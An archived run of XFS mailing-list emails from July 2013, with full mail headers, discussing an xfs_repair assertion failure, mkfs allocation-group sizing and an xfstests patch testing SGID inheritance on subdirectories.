from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 85B957F50 for ; Sun, 14 Jul 2013 11:14:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1E44DAC002 for ; Sun, 14 Jul 2013 09:14:29 -0700 (PDT) X-ASG-Debug-ID: 1373818468-04bdf0233efb21a0001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id 6LXn9vVWjhR9b9yL for ; Sun, 14 Jul 2013 09:14:28 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 3C26F1F001DF for ; Sun, 14 Jul 2013 12:14:28 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 1WLguSPHC2RR for ; Sun, 14 Jul 2013 12:14:22 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id F3BAA1F003C3 for ; Sun, 14 Jul 2013 12:14:21 -0400 (EDT) Date: Sun, 14 Jul 2013 12:14:21 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <11307192.1374.1373818461931.JavaMail.root@benjamin.baylink.com> In-Reply-To: <51E2C912.8080305@sandeen.net> Subject: Re: XFS filesystem triggering assert in _repair 3.1.11 MIME-Version: 1.0 X-ASG-Orig-Subj: Re: XFS filesystem triggering assert in _repair 3.1.11 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [173.104.54.119] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1373818468 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ----- Original Message ----- > From: "Eric Sandeen" > On 7/13/13 4:29 PM, Jay Ashworth wrote: > ... > > > That's where I am right now: the drive was throwing a kernel oops if > > I mounted it, > > That shouldn't happen, for starters - was this on the older 2.6.37 > kernel? Correct. It also threw btree errors on that kernel *and* the 3.7 liveCD, but never oopsed the 3.7. > > and xfs_repair would just lock up. I had to do a -L on > > it > > ok, so much for debugging the oops ... Yeah, sorry. Thankfully, it's summer hiatus, but it is a production box, which sometimes limits how long I can keep problems around before brute forcing them. I *have* the oops, but no longer the FS that caused it. > > after which it would mount and unmount cleanly, and xfs_repair runs > > and finds problems, but then fails an assert at the end and dies. > > > > Here's that entire repair run: > > > > ============================================================= > > plaintain:/var/log/mythtv # xfs_repair /dev/sdc2 > > Phase 1 - find and verify superblock... > > Not enough RAM available for repair to enable prefetching. > > ... > > > entry "1011_20130509205900.mpg" at block 13 offset 4016 in directory > > inode 1073789184 references free inode 1137017084 > > clearing inode number in entry at offset 4016... > > bad back (left) sibling pointer (saw 16140901064495857663 should be > > NULL (0)) > ^^^ 0xDFFFFFFFFFFFFFFF i.e. -2 > > #define HOLESTARTBLOCK ((xfs_fsblock_t)-2LL) ? > > > in inode 1115989006 (data fork) bmap btree block 107963248 > > xfs_repair: dinode.c:2136: process_inode_data_fork: Assertion `err > > == 0' failed. > > This means we were in the check_dups path, and one of the process_*() > functions > failed. Due to that "bad back (left) sibling pointer ..." > > If I had time to work on this, I'd ask for an xfs_metadump image of > the filesystem to be able to reproduce it and look further into the > problem... > > It might shed some light on things to use xfs_db to look at inode > 1115989006 > > # xfs_db /dev/sdc2 > xfs_db> inode 1115989006 > xfs_db> p xfs_db> inode 1115989006 xfs_db> p core.magic = 0x494e core.mode = 0100666 core.version = 2 core.format = 3 (btree) core.nlinkv2 = 1 core.onlink = 0 core.projid_lo = 0 core.projid_hi = 0 core.uid = 111 core.gid = 33 core.flushiter = 18 core.atime.sec = Wed Jul 3 19:28:22 2013 core.atime.nsec = 956870002 core.mtime.sec = Tue Jan 29 20:00:10 2013 core.mtime.nsec = 466912274 core.ctime.sec = Fri Jul 12 13:37:43 2013 core.ctime.nsec = 217838130 core.size = 916961916 core.nblocks = 223869 core.extsize = 0 core.nextents = 16 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.immutable = 0 core.append = 0 core.sync = 0 core.noatime = 0 core.nodump = 0 core.rtinherit = 0 core.projinherit = 0 core.nosymlinks = 0 core.extsz = 0 core.extszinherit = 0 core.nodefrag = 0 core.filestream = 0 core.gen = 3501711335 next_unlinked = null u.bmbt.level = 1 u.bmbt.numrecs = 1 u.bmbt.keys[1] = [startoff] 1:[0] u.bmbt.ptrs[1] = 1:107963248 > looking at bmap btree block 107963248 might also be interesting; like > this I think but I'm rusty: > > xfs_db> fsblock 107963248 > xfs_db> type bmapbt Well, the manpage says that's a type, but my xfs_db, v 3.1.11, says it's not. Huh? > xfs_db> p > > > Aborted > > ============================================================= > > > > This is xfs_repair 3.1.11, from xfsprogs 3.1.11 from tarball, > > compiled on > > the machine in question, which is a 32-bit OS with 512MB of ram (the > > mobo, an old MSI KT6V, pukes if we try to put more ram on it for > > some > > reason). I have run memtest+ on the ram and multiple passes come > > back clean as a whistle; the SATA controller is a SiI 3114, which we > > had to buy to talk to the 3TB drives; boot is from the VT6420 on the > > motherboard and a dedicated 40G Samsung. > > > > I have done some work on this repair booted from a Suse 12.1 rescue > > disk > > with a 3.7 kernel, on the theory that the XFS drivers in the kernel > > might help; I found that mounting and unmounting in between multiple > > repair runs made me have to do less of them -- though I'm sure more > > than two dirty runs before one sees a clean one ought to be Right > > Out > > anyway. > > Eek, so you thrashed about, in other words. ;) I've been at this over a week. Yes, there's been some thrashing. I have a 2TB that I need to dedupe and re-mkfs, so I have space to work on; that process itself is hanging against a *different* XFS problem on a different filesystem. (Specifically, I have one bad inode on that FS that repair doesn't seem to want to touch. It's been lower priority cause that data's duped, but as I need the free space more, its priority is rising.) I hate power supplies. > > I've seen suggestions on the mailing list archives and other places > > that (some) assertion fails were for things fixed in earlier tools > > releases, but that one's not helping me... > > well, not always true, esp. in userspace. > > > I have space to move this data off and remake the filesystem, > > if I can get it to mount reliably and stay that way long enough. > > you can always mount it & copy as much as possible until you hit > corruption. But until repair succeeds you'll have corruption lurking > that you'll hit which will probably cause the fs to shut down > (gracefully, in theory). Well, the bottom half shuts down, but then the top half keeps going, throwing error 5's all night. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From sandeen@sandeen.net Sun Jul 14 11:15:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9789A7F50 for ; Sun, 14 Jul 2013 11:15:06 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6830F8F8035 for ; Sun, 14 Jul 2013 09:15:03 -0700 (PDT) X-ASG-Debug-ID: 1373818501-04bdf0233cfb2250001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Puqj5yua05Cgn8cW for ; Sun, 14 Jul 2013 09:15:01 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CA967619A293; Sun, 14 Jul 2013 11:15:00 -0500 (CDT) Message-ID: <51E2CE83.9080003@sandeen.net> Date: Sun, 14 Jul 2013 11:14:59 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: aurfalien CC: xfs@oss.sgi.com Subject: Re: specify agsize? References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> X-ASG-Orig-Subj: Re: specify agsize? In-Reply-To: <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373818501 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 7/13/13 11:20 PM, aurfalien wrote: > > On Jul 13, 2013, at 7:13 PM, Eric Sandeen wrote: > >> On 7/13/13 7:11 PM, aurfalien wrote: >>> Hello again, >>> >>> I have a Raid 6 x16 disk array with 128k stripe size and a 512 byte block size. >>> >>> So I do; >>> >>> mkfs.xfs -f -l size=512m -d su=128k,sw=14 /dev/mapper/vg_doofus_data-lv_data >>> >>> And I get; >>> >>> meta-data=/dev/mapper/vg_doofus_data-lv_data isize=256 agcount=32, agsize=209428640 blks >>> = sectsz=512 attr=2, projid32bit=0 >>> data = bsize=4096 blocks=6701716480, imaxpct=5 >>> = sunit=32 swidth=448 blks >>> naming =version 2 bsize=4096 ascii-ci=0 >>> log =internal log bsize=4096 blocks=131072, version=2 >>> = sectsz=512 sunit=32 blks, lazy-count=1 >>> realtime =none extsz=4096 blocks=0, rtextents=0 >>> >>> >>> All is fine but I was recently made aware of tweaking agsize. >> >> Made aware by what? For what reason? > > Autodesk has this software called Flame which requires very very fast > local storage using XFS. They have an entire write up on how to calc > proper agsize for optimal performance. http://wikihelp.autodesk.com/Creative_Finishing/enu/2012/Help/05_Installation_Guides/Installation_and_Configuration_Guide_for_Linux_Workstations/0118-Advanced118/0194-Manually194/0199-Creating199 I guess? That's quite a procedure! And I have to say, a slightly strange one at first glance. It'd be nice if they said what they were trying to accomplish rather than just giving you a long recipe. In the end, I think they are trying to create 128AGs and maybe work around some mkfs corner case or other. > I never mess with agsize but it is require when creating the XFS > file system for use with Flame. I realize its tailored for there > apps particular IO characteristics, so I'm curious about it. In general more AGs allow more concurrency for some operations; it also will generally change how/where files in multiple directories get allocated. >>> So I would like to mess around and iozone any diffs between the above >>> agcount of 32 and whatever agcount changes I may do. >> >> Unless iozone is your machine's normal workload, that will probably prove to be uninteresting. > > Well, it will give me a base line comparison of non tweaked agsize vs tweaked agsize. Not necessarily, see above; I'm not sure what iozone invocation would show any effects from more or fewer AGs. Anyway, iozone != flame, not by a long shot! :) >>> I didn't see any mention of agsize/agcount on the XFS FAQ and would >>> like to know, based on the above, why does XFS think I have 32 >>> allocation groups with the corresponding size? >> >> It doesn't think so, it _knows_ so, because it made them itself. ;) > > Yea but based on what? > > Why 32 at there current size? see calc_default_ag_geometry() Since you are in multidisk mode (you have stripe geometry) it uses more AGs for more AGs since it knows you have more spindles: } else if (dblocks > GIGABYTES(512, blocklog)) shift = 5; 2^5 = 32 If you hadn't been in multidisk mode you would have gotten 25 AGs due to the max AG size of 1T. >>> And are these optimal >>> numbers? >> >> How high is up? >> >> Here's the appropriate faq entry: >> >> http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_.3Csomething.3E > > Problem is I run Centos so the line; > > "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat much of the parallelization in XFS. " > > ... doesn't really apply. Well, my point was that your original question, "are these optimal numbers?" included absolutely no context of your workload, so the best answer is yes - the default mkfs behavior is optimal for a generic, unspecified workload. I don't have access to Autodesk Flame so I really don't know how it behaves or what an optimal tuning might be. Anyway, I think the calc_default_ag_geometry() info above answered your original question of "why does XFS think I have 32 allocation groups with the corresponding size?" - that's simply the default mkfs algorithm when in multidisk mode, for a disk of this size. -Eric From sandeen@sandeen.net Sun Jul 14 11:16:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D5D017F50 for ; Sun, 14 Jul 2013 11:16:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7CC1CAC002 for ; Sun, 14 Jul 2013 09:16:32 -0700 (PDT) X-ASG-Debug-ID: 1373818591-04bdf0233efb23e0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id tU3YEoqCJNtY0l6G for ; Sun, 14 Jul 2013 09:16:31 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CAD06619A293; Sun, 14 Jul 2013 11:16:30 -0500 (CDT) Message-ID: <51E2CEDE.5000304@sandeen.net> Date: Sun, 14 Jul 2013 11:16:30 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Carlos Maiolino CC: xfs@oss.sgi.com Subject: Re: [PATCH V4] xfstests: generic/314, test sgid inheritance on subdirs References: <1373658373-8988-1-git-send-email-cmaiolino@redhat.com> X-ASG-Orig-Subj: Re: [PATCH V4] xfstests: generic/314, test sgid inheritance on subdirs In-Reply-To: <1373658373-8988-1-git-send-email-cmaiolino@redhat.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373818591 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 7/12/13 2:46 PM, Carlos Maiolino wrote: > Tests if subdirectories created on the filesystem will properly inherit sgid bit > when this is set on the parent directory, once the process has the properly > permissions to create a subdirectory, this, should inherit parent's sgid bit if > this is set and irix_sgid_inherit sysctl is disabled. > > V2: add missing source of "attr" file for _require_acls > > V3: use _ls_l to filter out the selinux "." > renumber to 314 to make the merge easier > > V4: fix 314.out to the correct output Heh, thanks Carlos. Friday wasn't my best day. > Thanks to Sandeen who have written this patch > > Signed-off-by: Eric Sandeen > Signed-off-by: Carlos Maiolino > --- > tests/generic/314 | 68 +++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/314.out | 4 +++ > tests/generic/group | 1 + > 3 files changed, 73 insertions(+), 0 deletions(-) > create mode 100755 tests/generic/314 > create mode 100644 tests/generic/314.out > > diff --git a/tests/generic/314 b/tests/generic/314 > new file mode 100755 > index 0000000..2d34ea8 > --- /dev/null > +++ b/tests/generic/314 > @@ -0,0 +1,68 @@ > +#! /bin/bash > +# FS QA Test No. 314 > +# > +# Test SGID inheritance on subdirectories > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > +. ./common/attr > + > +# real QA test starts here > +_supported_fs generic > +_require_acls > +_require_user > +_need_to_be_root > + > +rm -rf $TEST_DIR/$seq-dir > + > +# Make dir owned by qa user, and an unrelated group: > +mkdir $TEST_DIR/$seq-dir > +chown $qa_user:12345 $TEST_DIR/$seq-dir > + > +# Make parent dir sgid > +chmod 2775 $TEST_DIR/$seq-dir > + > +# Make subdirs before & after acl set > +su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir" > +su $qa_user -c "setfacl -m u:$qa_user:rwx,d:u:$qa_user:rwx $TEST_DIR/$seq-dir" > +su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir2" > + > +# Both subdirs should have inherited sgid > +_ls_l $TEST_DIR/$seq-dir/ | _filter_test_dir | awk '{print $1,$NF}' > + > +status=0 > +exit > diff --git a/tests/generic/314.out b/tests/generic/314.out > new file mode 100644 > index 0000000..180be80 > --- /dev/null > +++ b/tests/generic/314.out > @@ -0,0 +1,4 @@ > +QA output created by 314 > +total 4 > +drwxr-sr-x subdir > +drwxrwsr-x+ subdir2 > diff --git a/tests/generic/group b/tests/generic/group > index bd443c1..7c0ea25 100644 > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -115,3 +115,4 @@ > 310 auto > 311 auto metadata log > 312 auto quick prealloc enospc > +314 auto quick acl > From aurfalien@gmail.com Sun Jul 14 11:47:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B4DC57F37 for ; Sun, 14 Jul 2013 11:47:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3CE62AC002 for ; Sun, 14 Jul 2013 09:47:04 -0700 (PDT) X-ASG-Debug-ID: 1373820422-04cb6c2a46ce9520001-NocioJ Received: from mail-ob0-f181.google.com (mail-ob0-f181.google.com [209.85.214.181]) by cuda.sgi.com with ESMTP id WbUQ8n02kR1Jvmpb (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 14 Jul 2013 09:47:02 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.181 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.181] Received: by mail-ob0-f181.google.com with SMTP id 16so13285789obc.12 for ; Sun, 14 Jul 2013 09:47:02 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.181] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.181] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=agTU8o85V8Jlx5eV1qb68C7mdKt2zULhcPpcwEwFK7Q=; b=OLI0f6eOAuRAwIatGjOzPbd4i9v+k29dLAsvfZuelITZZ2EhgPaoqn700WqMXYJITC 8/QFEiMC+1Sg087dlA42n94fW88+hgBsYDOImVk3C0UVZM8s3DXISfBY9rGGp6XabLF2 ZVEjLomb7dZDDJfikvmDlMpXedACaBCTRQXrHvmemet7ZoU/pRV2DhTHVZ0O6BfIx2Dr hWm4jiBjM5Q4d6S6/7HMWGigrr+mgjYk7BJlJMNH4qdKIS63xgE/CUsvWLw6WV1ojkjY sGpNCAGdwb5GHvKEDCxVatQTAJ0snkNFu7HTEBMd+rxCuGoZCnrFIy+LOZqZX4s5ooPb Hgsw== X-Received: by 10.60.54.39 with SMTP id g7mr40846706oep.18.1373820422135; Sun, 14 Jul 2013 09:47:02 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id r4sm65743235oem.3.2013.07.14.09.47.00 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 14 Jul 2013 09:47:01 -0700 (PDT) Subject: Re: specify agsize? Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: specify agsize? Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51E2CE83.9080003@sandeen.net> Date: Sun, 14 Jul 2013 09:46:58 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <7C63C065-6172-4A4C-B0AC-EACA71EC0AF2@gmail.com> References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> <51E2CE83.9080003@sandeen.net> To: Eric Sandeen X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-ob0-f181.google.com[209.85.214.181] X-Barracuda-Start-Time: 1373820422 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.10 BSF_SC0_SA085 Custom Rule SA085 Sorry to top post. But this was exactly the kind of info I was hoping for. Thanks Eric. - aurf On Jul 14, 2013, at 9:14 AM, Eric Sandeen wrote: > On 7/13/13 11:20 PM, aurfalien wrote: >>=20 >> On Jul 13, 2013, at 7:13 PM, Eric Sandeen wrote: >>=20 >>> On 7/13/13 7:11 PM, aurfalien wrote: >>>> Hello again, >>>>=20 >>>> I have a Raid 6 x16 disk array with 128k stripe size and a 512 byte = block size. >>>>=20 >>>> So I do; >>>>=20 >>>> mkfs.xfs -f -l size=3D512m -d su=3D128k,sw=3D14 = /dev/mapper/vg_doofus_data-lv_data >>>>=20 >>>> And I get; >>>>=20 >>>> meta-data=3D/dev/mapper/vg_doofus_data-lv_data isize=3D256 = agcount=3D32, agsize=3D209428640 blks >>>> =3D sectsz=3D512 attr=3D2, = projid32bit=3D0 >>>> data =3D bsize=3D4096 = blocks=3D6701716480, imaxpct=3D5 >>>> =3D sunit=3D32 swidth=3D448 blks >>>> naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 >>>> log =3Dinternal log bsize=3D4096 blocks=3D131072, = version=3D2 >>>> =3D sectsz=3D512 sunit=3D32 blks, = lazy-count=3D1 >>>> realtime =3Dnone extsz=3D4096 blocks=3D0, = rtextents=3D0 >>>>=20 >>>>=20 >>>> All is fine but I was recently made aware of tweaking agsize. >>>=20 >>> Made aware by what? For what reason? >>=20 >> Autodesk has this software called Flame which requires very very fast >> local storage using XFS. They have an entire write up on how to calc >> proper agsize for optimal performance. >=20 > = http://wikihelp.autodesk.com/Creative_Finishing/enu/2012/Help/05_Installat= ion_Guides/Installation_and_Configuration_Guide_for_Linux_Workstations/011= 8-Advanced118/0194-Manually194/0199-Creating199 >=20 > I guess? >=20 > That's quite a procedure! And I have to say, a slightly strange one = at first glance. >=20 > It'd be nice if they said what they were trying to accomplish rather = than just giving you a long recipe. >=20 > In the end, I think they are trying to create 128AGs and maybe work = around some mkfs corner case or other. >=20 >> I never mess with agsize but it is require when creating the XFS >> file system for use with Flame. I realize its tailored for there >> apps particular IO characteristics, so I'm curious about it. >=20 > In general more AGs allow more concurrency for some operations; > it also will generally change how/where files in multiple directories = get > allocated. >=20 >>>> So I would like to mess around and iozone any diffs between the = above >>>> agcount of 32 and whatever agcount changes I may do. >>>=20 >>> Unless iozone is your machine's normal workload, that will probably = prove to be uninteresting. >>=20 >> Well, it will give me a base line comparison of non tweaked agsize vs = tweaked agsize. >=20 > Not necessarily, see above; I'm not sure what iozone invocation would > show any effects from more or fewer AGs. Anyway, iozone !=3D flame, = not > by a long shot! :) >=20 >>>> I didn't see any mention of agsize/agcount on the XFS FAQ and would >>>> like to know, based on the above, why does XFS think I have 32 >>>> allocation groups with the corresponding size? >>>=20 >>> It doesn't think so, it _knows_ so, because it made them itself. ;) >>=20 >> Yea but based on what? >>=20 >> Why 32 at there current size? >=20 > see calc_default_ag_geometry() >=20 > Since you are in multidisk mode (you have stripe geometry) it uses = more AGs for more AGs since it knows you have more spindles: >=20 > } else if (dblocks > GIGABYTES(512, blocklog)) > shift =3D 5; >=20 > 2^5 =3D 32 >=20 > If you hadn't been in multidisk mode you would have gotten 25 AGs due = to the max AG size of 1T. >=20 >>>> And are these optimal >>>> numbers? >>>=20 >>> How high is up? >>>=20 >>> Here's the appropriate faq entry: >>>=20 >>> = http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_= .3Csomething.3E >>=20 >> Problem is I run Centos so the line; >>=20 >> "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat = much of the parallelization in XFS. " >>=20 >> ... doesn't really apply. >=20 > Well, my point was that your original question, "are these optimal = numbers?" included absolutely no context of your workload, so the best = answer is yes - the default mkfs behavior is optimal for a generic, = unspecified workload. >=20 > I don't have access to Autodesk Flame so I really don't know how it = behaves or what an optimal tuning might be. >=20 > Anyway, I think the calc_default_ag_geometry() info above answered = your original question of "why does XFS think I have 32 allocation = groups with the corresponding size?" - that's simply the default mkfs = algorithm when in multidisk mode, for a disk of this size. >=20 > -Eric >=20 From aurfalien@gmail.com Sun Jul 14 11:56:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7B3F57F37 for ; Sun, 14 Jul 2013 11:56:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5A8C4304043 for ; Sun, 14 Jul 2013 09:56:16 -0700 (PDT) X-ASG-Debug-ID: 1373820975-04cbb0468ff900f0001-NocioJ Received: from mail-ob0-f175.google.com (mail-ob0-f175.google.com [209.85.214.175]) by cuda.sgi.com with ESMTP id jlhByAc4fNzI9JAF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 14 Jul 2013 09:56:15 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com 